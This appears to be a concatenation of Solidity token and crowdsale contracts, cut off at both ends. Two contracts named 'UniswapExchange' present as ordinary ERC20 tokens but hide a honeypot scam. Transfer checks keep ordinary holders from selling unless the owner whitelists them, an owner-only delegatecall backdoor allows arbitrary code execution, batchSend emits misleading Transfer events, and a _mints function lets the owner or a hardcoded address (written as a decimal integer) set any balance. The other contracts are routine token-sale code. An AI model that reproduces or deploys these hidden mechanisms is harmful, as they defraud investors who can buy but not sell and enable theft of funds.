_balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
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pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract RomanovEmpireTokenCoin is MintableToken { string public constant name = " Romanov Empire Imperium Token"; string public constant symbol = "REI"; uint32 public constant decimals = 0; } contract Crowdsale is Ownable { using SafeMath for uint; address multisig; address manager; uint restrictedPercent; address restricted; RomanovEmpireTokenCoin public token = new RomanovEmpireTokenCoin(); uint start; uint preIcoEnd; uint preICOhardcap; uint public ETHUSD; uint public hardcapUSD; uint public collectedFunds; bool pause; function Crowdsale() { multisig = 0x1e129862b37Fe605Ef2099022F497caab7Db194c; restricted = 0x1e129862b37Fe605Ef2099022F497caab7Db194c; manager = msg.sender; restrictedPercent = 1200; ETHUSD = 70000; start = now; preIcoEnd = 1546300800; preICOhardcap = 42000; hardcapUSD = 500000000; collectedFunds = 0; pause = false; } modifier saleIsOn() { require(now > start && now < preIcoEnd); require(pause!=true); _; } modifier isUnderHardCap() { require(token.totalSupply() < preICOhardcap); require(collectedFunds < hardcapUSD); _; } function finishMinting() public { require(msg.sender == manager); uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(10000); token.mint(restricted, restrictedTokens); token.transferOwnership(restricted); } function createTokens() isUnderHardCap saleIsOn payable { require(msg.value > 0); uint256 totalSupply = token.totalSupply(); uint256 numTokens = 0; uint256 summ1 = 1800000; uint256 summ2 = 3300000; uint256 price1 = 18000; uint256 price2 = 15000; uint256 price3 = 12000; uint256 usdValue = msg.value.mul(ETHUSD).div(1000000000000000000); uint256 spendMoney = 0; uint256 tokenRest = 0; uint256 rest = 0; tokenRest = preICOhardcap.sub(totalSupply); require(tokenRest > 0); if(usdValue>summ2 && tokenRest > 200 ){ numTokens = (usdValue.sub(summ2)).div(price3).add(200); if(numTokens > tokenRest) numTokens = tokenRest; spendMoney = summ2.add((numTokens.sub(200)).mul(price3)); }else if(usdValue>summ1 && tokenRest > 100 ) { numTokens = (usdValue.sub(summ1)).div(price2).add(100); if(numTokens > tokenRest) numTokens = tokenRest; spendMoney = summ1.add((numTokens.sub(100)).mul(price2)); }else { numTokens = usdValue.div(price1); if(numTokens > tokenRest) numTokens = tokenRest; spendMoney = numTokens.mul(price1); } rest = (usdValue.sub(spendMoney)).mul(1000000000000000000).div(ETHUSD); msg.sender.transfer(rest); if(rest<msg.value){ multisig.transfer(msg.value.sub(rest)); collectedFunds = collectedFunds + msg.value.sub(rest).mul(ETHUSD).div(1000000000000000000); } token.mint(msg.sender, numTokens); } function() external payable { createTokens(); } function mint(address _to, uint _value) { require(msg.sender == manager); token.mint(_to, _value); } function setETHUSD( uint256 _newPrice ) { require(msg.sender == manager); ETHUSD = _newPrice; } function setPause( bool _newPause ) { require(msg.sender == manager); pause = _newPause; } }
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pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
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pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract OpportyToken is StandardToken { string public constant name = "OpportyToken"; string public constant symbol = "OPP"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); function OpportyToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract HoldSaleContract is Ownable { using SafeMath for uint256; OpportyToken public OppToken; struct Holder { bool isActive; uint tokens; uint holdPeriodTimestamp; bool withdrawed; } mapping(address => Holder) public holderList; mapping(uint => address) private holderIndexes; mapping (uint => address) private assetOwners; mapping (address => uint) private assetOwnersIndex; uint private assetOwnersIndexes; uint private holderIndex; uint private holderWithdrawIndex; uint private tokenAddHold; uint private tokenWithdrawHold; event TokensTransfered(address contributor , uint amount); event Hold(address sender, address contributor, uint amount, uint holdPeriod); modifier onlyAssetsOwners() { require(assetOwnersIndex[msg.sender] > 0); _; } function HoldSaleContract(address _OppToken) public { OppToken = OpportyToken(_OppToken); addAssetsOwner(msg.sender); } function addHolder(address holder, uint tokens, uint timest) onlyAssetsOwners external { if (holderList[holder].isActive == false) { holderList[holder].isActive = true; holderList[holder].tokens = tokens; holderList[holder].holdPeriodTimestamp = timest; holderIndexes[holderIndex] = holder; holderIndex++; } else { holderList[holder].tokens += tokens; holderList[holder].holdPeriodTimestamp = timest; } tokenAddHold += tokens; Hold(msg.sender, holder, tokens, timest); } function getBalance() public constant returns (uint) { return OppToken.balanceOf(this); } function unlockTokens() external { address contributor = msg.sender; if (holderList[contributor].isActive && !holderList[contributor].withdrawed) { if (now >= holderList[contributor].holdPeriodTimestamp) { if ( OppToken.transfer( msg.sender, holderList[contributor].tokens ) ) { TokensTransfered(contributor, holderList[contributor].tokens); tokenWithdrawHold += holderList[contributor].tokens; holderList[contributor].withdrawed = true; holderWithdrawIndex++; } } else { revert(); } } else { revert(); } } function addAssetsOwner(address _owner) public onlyOwner { assetOwnersIndexes++; assetOwners[assetOwnersIndexes] = _owner; assetOwnersIndex[_owner] = assetOwnersIndexes; } function removeAssetsOwner(address _owner) public onlyOwner { uint index = assetOwnersIndex[_owner]; delete assetOwnersIndex[_owner]; delete assetOwners[index]; assetOwnersIndexes--; } function getAssetsOwners(uint _index) onlyOwner public constant returns (address) { return assetOwners[_index]; } function getOverTokens() public onlyOwner { require(getBalance() > (tokenAddHold - tokenWithdrawHold)); uint balance = getBalance() - (tokenAddHold - tokenWithdrawHold); if(balance > 0) { if(OppToken.transfer(msg.sender, balance)) { TokensTransfered(msg.sender, balance); } } } function getTokenAddHold() onlyOwner public constant returns (uint) { return tokenAddHold; } function getTokenWithdrawHold() onlyOwner public constant returns (uint) { return tokenWithdrawHold; } function getHolderIndex() onlyOwner public constant returns (uint) { return holderIndex; } function getHolderWithdrawIndex() onlyOwner public constant returns (uint) { return holderWithdrawIndex; } } contract TokenSale is Pausable { using SafeMath for uint256; OpportyToken public token; HoldSaleContract public holdContract; enum SaleState { NEW, SALE, ENDED } SaleState public state; uint public endDate; uint public unholdDate; uint public minimalContribution; address private wallet; uint private ethRaised; uint private price; uint8 private bonus; uint private tokenRaised; bool public tokensTransferredToHold; event SaleStarted(uint blockNumber); event SaleEnded(uint blockNumber); event FundTransfered(address contrib, uint amount); event WithdrawedEthToWallet(uint amount); event ManualChangeEndDate(uint beforeDate, uint afterDate); event ManualChangeUnholdDate(uint beforeDate, uint afterDate); event TokensTransferedToHold(address hold, uint amount); event AddedToHolder(address sender, uint tokenAmount, uint holdTimestamp); event ChangeMinAmount(uint oldMinAmount, uint minAmount); mapping (uint => address) private assetOwners; mapping (address => uint) private assetOwnersIndex; uint private assetOwnersIndexes; modifier onlyAssetsOwners() { require(assetOwnersIndex[msg.sender] > 0); _; } function TokenSale(address tokenAddress, address walletAddress, uint end, uint endHoldDate, address holdCont) public { token = OpportyToken(tokenAddress); state = SaleState.NEW; endDate = end; unholdDate = endHoldDate; price = 0.0002 * 1 ether; wallet = walletAddress; minimalContribution = 0.1 * 1 ether; bonus = 0; holdContract = HoldSaleContract(holdCont); addAssetsOwner(msg.sender); } function() whenNotPaused public payable { require(state == SaleState.SALE); require(msg.value >= minimalContribution); if (now > endDate) { state = SaleState.ENDED; SaleEnded(block.number); msg.sender.transfer(msg.value); return ; } ethRaised += msg.value; uint tokenAmount = msg.value.div(price); tokenAmount += tokenAmount.mul(bonus).div(100); tokenAmount *= 1 ether; tokenRaised += tokenAmount; holdContract.addHolder(msg.sender, tokenAmount, unholdDate); AddedToHolder(msg.sender, tokenAmount, unholdDate); FundTransfered(msg.sender, msg.value); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function getBalanceContract() view internal returns (uint) { return token.balanceOf(this); } function startSale() public onlyOwner { require(state == SaleState.NEW); state = SaleState.SALE; SaleStarted(block.number); } function endSale() public onlyOwner { require(state == SaleState.SALE); state = SaleState.ENDED; SaleEnded(block.number); } function sendTokensToHold() public onlyOwner { require(state == SaleState.ENDED); require(getBalanceContract() >= tokenRaised); if (token.transfer(holdContract, tokenRaised )) { tokensTransferredToHold = true; TokensTransferedToHold(holdContract, tokenRaised ); } } function getTokensBack() public onlyOwner { require(state == SaleState.ENDED); require(tokensTransferredToHold == true); uint balance; balance = getBalanceContract() ; token.transfer(msg.sender, balance); } function withdrawEth() public { require(this.balance != 0); require(state == SaleState.ENDED); require(msg.sender == wallet); require(tokensTransferredToHold == true); uint bal = this.balance; wallet.transfer(bal); WithdrawedEthToWallet(bal); } function setUnholdDate(uint date) public onlyOwner { require(state == SaleState.NEW || state == SaleState.SALE); uint oldEndDate = unholdDate; unholdDate = date; ManualChangeUnholdDate(oldEndDate, date); } function setEndDate(uint date) public onlyOwner { require(state == SaleState.NEW || state == SaleState.SALE); require(date > now); uint oldEndDate = endDate; endDate = date; ManualChangeEndDate(oldEndDate, date); } function setMinimalContribution(uint minimumAmount) public onlyOwner { uint oldMinAmount = minimalContribution; minimalContribution = minimumAmount; ChangeMinAmount(oldMinAmount, minimalContribution); } function setBonus(uint8 newBonus) public onlyOwner { require(newBonus >= 0); bonus = newBonus; } function addAssetsOwner(address _owner) public onlyOwner { assetOwnersIndexes++; assetOwners[assetOwnersIndexes] = _owner; assetOwnersIndex[_owner] = assetOwnersIndexes; } function removeAssetsOwner(address _owner) public onlyOwner { uint index = assetOwnersIndex[_owner]; delete assetOwnersIndex[_owner]; delete assetOwners[index]; assetOwnersIndexes--; } function getAssetsOwners(uint _index) onlyOwner public constant returns (address) { return assetOwners[_index]; } function getTokenBalance() onlyAssetsOwners public constant returns (uint) { return token.balanceOf(this); } function getEthRaised() onlyAssetsOwners public constant returns (uint) { return ethRaised; } function getBonus() onlyAssetsOwners public constant returns (uint) { return bonus; } function getTokenRaised() onlyAssetsOwners public constant returns (uint) { return tokenRaised; } }
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pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, 